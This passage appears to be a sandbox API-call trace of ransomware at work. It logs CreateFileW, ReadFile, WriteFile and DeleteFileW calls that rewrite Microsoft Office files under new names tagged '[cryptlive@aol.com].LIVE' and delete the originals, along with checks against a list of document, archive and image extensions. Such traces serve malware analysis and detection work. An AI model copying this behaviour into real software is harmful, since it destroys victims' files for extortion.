lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0145.176] SetEndOfFile (hFile=0x3ac) returned 1 [0145.176] CloseHandle (hObject=0x3ac) returned 1 [0145.177] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.177] SetEndOfFile (hFile=0x3d0) returned 1 [0145.179] CloseHandle (hObject=0x3d0) returned 1 [0145.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 1 [0145.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.310] lstrlenW (lpString=".doc") returned 4 [0145.310] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0145.310] lstrlenW (lpString=".docx") returned 5 [0145.310] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0145.310] lstrlenW (lpString=".pdf") returned 4 [0145.310] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0145.310] lstrlenW (lpString=".xls") returned 4 [0145.310] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0145.310] lstrlenW (lpString=".xlsx") returned 5 [0145.310] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0145.310] lstrlenW (lpString=".ppt") returned 4 [0145.310] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0145.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.310] lstrlenW (lpString=".zip") returned 4 [0145.310] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0145.310] lstrlenW (lpString=".rar") returned 4 [0145.310] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0145.310] lstrlenW (lpString=".bz2") returned 4 [0145.310] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0145.310] lstrlenW (lpString=".7z") returned 3 [0145.310] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0145.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.310] lstrlenW (lpString=".dbf") returned 4 [0145.310] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0145.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.310] lstrlenW (lpString=".1cd") returned 4 [0145.310] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0145.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.310] lstrlenW (lpString=".jpg") returned 4 [0145.310] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0145.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.311] lstrlenW (lpString=".doc") returned 4 [0145.311] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0145.311] lstrlenW (lpString=".docx") returned 5 [0145.311] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0145.311] lstrlenW (lpString=".pdf") returned 4 [0145.311] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0145.311] lstrlenW (lpString=".xls") returned 4 [0145.311] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0145.311] lstrlenW (lpString=".xlsx") returned 5 [0145.311] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0145.311] lstrlenW (lpString=".ppt") returned 4 [0145.311] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0145.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.311] lstrlenW (lpString=".zip") returned 4 [0145.311] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0145.311] lstrlenW (lpString=".rar") returned 4 [0145.311] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0145.311] lstrlenW (lpString=".bz2") returned 4 [0145.311] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0145.311] lstrlenW (lpString=".7z") returned 3 [0145.311] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0145.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.311] lstrlenW (lpString=".dbf") returned 4 [0145.311] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0145.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.311] lstrlenW (lpString=".1cd") returned 4 [0145.311] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0145.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0145.311] lstrlenW (lpString=".jpg") returned 4 [0145.311] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0145.311] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0145.312] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0145.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.312] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=139648) returned 1 [0145.312] CloseHandle (hObject=0x328) returned 1 [0145.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 0x20 [0145.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.313] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.313] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.313] GetLastError () returned 0x0 [0145.313] ReadFile (in: hFile=0x328, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x22180, lpOverlapped=0x0) returned 1 [0145.333] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x22190, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x22190, lpOverlapped=0x0) returned 1 [0145.336] ReadFile (in: hFile=0x328, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.336] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0145.336] SetEndOfFile (hFile=0x3d0) returned 1 [0145.336] CloseHandle (hObject=0x3d0) returned 1 [0145.337] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.337] SetEndOfFile (hFile=0x328) returned 1 [0145.341] CloseHandle (hObject=0x328) returned 1 [0145.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 1 [0145.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.349] lstrlenW (lpString=".doc") returned 4 [0145.349] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString=".docx") returned 5 [0145.349] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.349] lstrlenW (lpString=".pdf") returned 4 [0145.349] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString=".xls") returned 4 [0145.349] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString=".xlsx") returned 5 [0145.349] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.349] lstrlenW (lpString=".ppt") returned 4 [0145.349] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.349] lstrlenW (lpString=".zip") returned 4 [0145.349] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString=".rar") returned 4 [0145.349] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString=".bz2") returned 4 [0145.349] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString=".7z") returned 3 [0145.349] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.349] lstrlenW (lpString=".dbf") returned 4 [0145.349] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.349] lstrlenW (lpString=".1cd") returned 4 [0145.349] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString=".jpg") returned 4 [0145.350] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString=".doc") returned 4 [0145.350] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString=".docx") returned 5 [0145.350] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.350] lstrlenW (lpString=".pdf") returned 4 [0145.350] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString=".xls") returned 4 [0145.350] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString=".xlsx") returned 5 [0145.350] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.350] lstrlenW (lpString=".ppt") returned 4 [0145.350] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString=".zip") returned 4 [0145.350] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString=".rar") returned 4 [0145.350] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString=".bz2") returned 4 [0145.350] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString=".7z") returned 3 [0145.350] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString=".dbf") returned 4 [0145.350] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString=".1cd") returned 4 [0145.350] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0145.350] lstrlenW (lpString=".jpg") returned 4 [0145.350] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.351] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0145.351] lstrlenW (lpString="PUB6INTL.DLL") returned 12 [0145.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.397] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6982504) returned 1 [0145.397] CloseHandle (hObject=0x3ac) returned 1 [0145.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll")) returned 0x20 [0145.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0145.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.397] lstrlenW (lpString=".doc") returned 4 [0145.397] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.397] lstrlenW (lpString=".docx") returned 5 [0145.397] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0145.397] lstrlenW (lpString=".pdf") returned 4 [0145.397] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.397] lstrlenW (lpString=".xls") returned 4 [0145.397] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.397] lstrlenW (lpString=".xlsx") returned 5 [0145.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0145.398] lstrlenW (lpString=".ppt") returned 4 [0145.398] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString=".zip") returned 4 [0145.398] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString=".rar") returned 4 [0145.398] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString=".bz2") returned 4 [0145.398] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.398] lstrlenW (lpString=".7z") returned 3 [0145.398] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString=".dbf") returned 4 [0145.398] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString=".1cd") returned 4 [0145.398] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString=".jpg") returned 4 [0145.398] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString=".doc") returned 4 [0145.398] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString=".docx") returned 5 [0145.398] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0145.398] lstrlenW (lpString=".pdf") returned 4 [0145.398] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString=".xls") returned 4 [0145.398] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString=".xlsx") returned 5 [0145.398] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0145.398] lstrlenW (lpString=".ppt") returned 4 [0145.398] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.398] lstrlenW (lpString=".zip") returned 4 [0145.399] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.399] lstrlenW (lpString=".rar") returned 4 [0145.399] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.399] lstrlenW (lpString=".bz2") returned 4 [0145.399] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.399] lstrlenW (lpString=".7z") returned 3 [0145.399] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.399] lstrlenW (lpString=".dbf") returned 4 [0145.399] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.399] lstrlenW (lpString=".1cd") returned 4 [0145.399] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0145.399] lstrlenW (lpString=".jpg") returned 4 [0145.399] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.399] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0145.399] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20 [0145.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.400] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=67968) returned 1 [0145.400] CloseHandle (hObject=0x3ac) returned 1 [0145.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 0x20 [0145.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.400] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.400] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0145.401] GetLastError () returned 0x0 [0145.401] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x10980, lpOverlapped=0x0) returned 1 [0145.458] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x10990, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x10990, lpOverlapped=0x0) returned 1 [0145.460] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.460] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0145.460] SetEndOfFile (hFile=0x3bc) returned 1 [0145.460] CloseHandle (hObject=0x3bc) returned 1 [0145.460] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.460] SetEndOfFile (hFile=0x3ac) returned 1 [0145.463] CloseHandle (hObject=0x3ac) returned 1 [0145.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 1 [0145.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.464] lstrlenW (lpString=".doc") returned 4 [0145.465] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.465] lstrlenW (lpString=".docx") returned 5 [0145.465] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.465] lstrlenW (lpString=".pdf") returned 4 [0145.676] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString=".xls") returned 4 [0145.676] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString=".xlsx") returned 5 [0145.676] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.676] lstrlenW (lpString=".ppt") returned 4 [0145.676] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.676] lstrlenW (lpString=".zip") returned 4 [0145.676] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString=".rar") returned 4 [0145.676] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString=".bz2") returned 4 [0145.676] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString=".7z") returned 3 [0145.676] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.676] lstrlenW (lpString=".dbf") returned 4 [0145.676] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.676] lstrlenW (lpString=".1cd") returned 4 [0145.676] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.676] lstrlenW (lpString=".jpg") returned 4 [0145.676] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.676] lstrlenW (lpString="C:\\Program Files\\Microsoft 